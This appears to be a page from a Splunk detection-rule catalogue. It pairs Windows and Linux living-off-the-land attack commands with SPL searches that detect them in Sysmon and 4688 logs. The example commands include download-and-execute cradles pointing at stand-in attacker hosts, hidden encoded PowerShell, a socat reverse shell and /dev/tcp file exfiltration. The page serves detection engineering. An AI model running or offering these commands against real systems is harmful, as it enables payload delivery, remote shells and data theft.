Splunk Enterprise Security (SPL) Query Collection
Production-ready Splunk Search Processing Language (SPL) searches targeting endpoint execution telemetry from Windows Sysmon, Security Audit 4688, and Linux auditd logs.
Splunk Rule Catalog
Showing 1–25 of 521 rulesDownload an executable payload from a remote URL to the user temporary directory, bypassing browser security controls.
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe1index=* (EventCode=1 OR EventCode=4688) Image="*\certutil.exe" (CommandLine="*-urlcache*" OR CommandLine="*/urlcache*") (CommandLine="*-split*" OR CommandLine="*/split*")2| table _time, host, user, ParentImage, Image, CommandLineDecode a Base64-encoded file into a binary executable on disk to bypass perimeter inspection mechanisms.
certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe1index=* (EventCode=1 OR EventCode=4688) Image="*\certutil.exe" (CommandLine="*-decode*" OR CommandLine="*/decode*")2| table _time, host, user, ParentImage, Image, CommandLineExecutes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))1index=* (EventCode=1 OR EventCode=4688) Image="*\mshta.exe" (CommandLine="*vbscript:*" OR CommandLine="*javascript:*" OR CommandLine="*about:*")2| table _time, host, user, ParentImage, Image, CommandLineFetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.
mshta.exe http://malicious.domain/payload.hta1index=* (EventCode=1 OR EventCode=4688) Image="*\mshta.exe" (CommandLine="*http://*" OR CommandLine="*https://*")2| table _time, host, user, ParentImage, Image, CommandLineExecute remote scriptlet code via javascript protocol calling mshtml.dll RunHTMLApplication export.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")1index=* (EventCode=1 OR EventCode=4688) Image="*\rundll32.exe" (CommandLine="*javascript:*" OR CommandLine="*RunHTMLApplication*")2| table _time, host, user, ParentImage, Image, CommandLineExecute an exported entrypoint function inside a dropped DLL located in an untrusted directory.
rundll32.exe C:\Users\Public\malware.dll,StartW1index=* (EventCode=1 OR EventCode=4688) Image="*\rundll32.exe" (CommandLine="*\Users\Public\*" OR CommandLine="*\Temp\*" OR CommandLine="*\ProgramData\*")2| table _time, host, user, ParentImage, Image, CommandLineCreates a high-priority background transfer job to download a remote payload into the Windows Temp folder.
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe1index=* (EventCode=1 OR EventCode=4688) Image="*\bitsadmin.exe" CommandLine="*/transfer*" CommandLine="*http*"2| table _time, host, user, ParentImage, Image, CommandLineExecute remote scriptlet payload from a web server via scrobj.dll, bypassing application whitelisting and registry changes.
regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll1index=* (EventCode=1 OR EventCode=4688) Image="*\regsvr32.exe" (CommandLine="*scrobj.dll*" OR CommandLine="*/i:http*")2| table _time, host, user, ParentImage, Image, CommandLineBypasses execution policy, creates a web client, downloads a remote script directly into memory, and evaluates it with Invoke-Expression.
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"1index=* (EventCode=1 OR EventCode=4688) (Image="*\powershell.exe" OR Image="*\pwsh.exe") (CommandLine="*DownloadString*" OR CommandLine="*Net.WebClient*")2| table _time, host, user, ParentImage, Image, CommandLineExecutes a Unicode Base64-encoded command string to evade command-line pattern matching.
powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==1index=* (EventCode=1 OR EventCode=4688) (Image="*\powershell.exe" OR Image="*\pwsh.exe") (CommandLine="*-enc *" OR CommandLine="*-EncodedCommand *")2| table _time, host, user, ParentImage, Image, CommandLineAbuses WMIC process call create to launch child processes with WmiPrvSE.exe as parent, breaking normal process lineage.
wmic.exe process call create "powershell.exe -w hidden -enc ..."1index=* (EventCode=1 OR EventCode=4688) Image="*\wmic.exe" CommandLine="*process*call*create*"2| table _time, host, user, ParentImage, Image, CommandLineRuns a VBScript quietly without banner or user alerts from a temporary location.
cscript.exe //B //Nologo %TEMP%\recon.vbs1index=* (EventCode=1 OR EventCode=4688) (Image="*\cscript.exe" OR Image="*\wscript.exe") (CommandLine="*\Temp\*" OR CommandLine="*\AppData\*")2| table _time, host, user, ParentImage, Image, CommandLineAddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.1index=* (EventCode=1 OR EventCode=4688) Image="*\\AddinUtil.exe" (CommandLine="*AddinUtil*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeAppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.
start ms-appinstaller://?source={REMOTEURL:.exe}1index=* (EventCode=1 OR EventCode=4688) Image="*\\AppInstaller.exe" (CommandLine="*AppInstaller*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeLaunches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"1index=* (EventCode=1 OR EventCode=4688) Image="*\\Applaunch.exe" (CommandLine="*Applaunch*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeExecute C# code with the Build Provider and proper folder structure in place.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u1index=* (EventCode=1 OR EventCode=4688) Image="*\\Aspnet_Compiler.exe" (CommandLine="*Aspnet_Compiler*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeCreate a recurring task to execute every day at a specific time.
C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}1index=* (EventCode=1 OR EventCode=4688) Image="*\\At.exe" (CommandLine="*At*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeStart a registered Assistive Technology (AT).
ATBroker.exe /start malware1index=* (EventCode=1 OR EventCode=4688) Image="*\\Atbroker.exe" (CommandLine="*Atbroker*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeExecutes executable from bash.exe
bash.exe -c "{CMD}"1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeExecutes a reverse shell
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeExfiltrate data
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeExecutes executable from bash.exe
bash.exe -c "{CMD}"1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeWhen executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
bash.exe1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeLoads the target DLL file
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}1index=* (EventCode=1 OR EventCode=4688) Image="*\\CertOC.exe" (CommandLine="*CertOC*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _timeDownloads text formatted files
certoc.exe -GetCACAPS {REMOTEURL:.ps1}1index=* (EventCode=1 OR EventCode=4688) Image="*\\CertOC.exe" (CommandLine="*CertOC*")2| table _time, host, user, ParentImage, Image, CommandLine3| sort - _time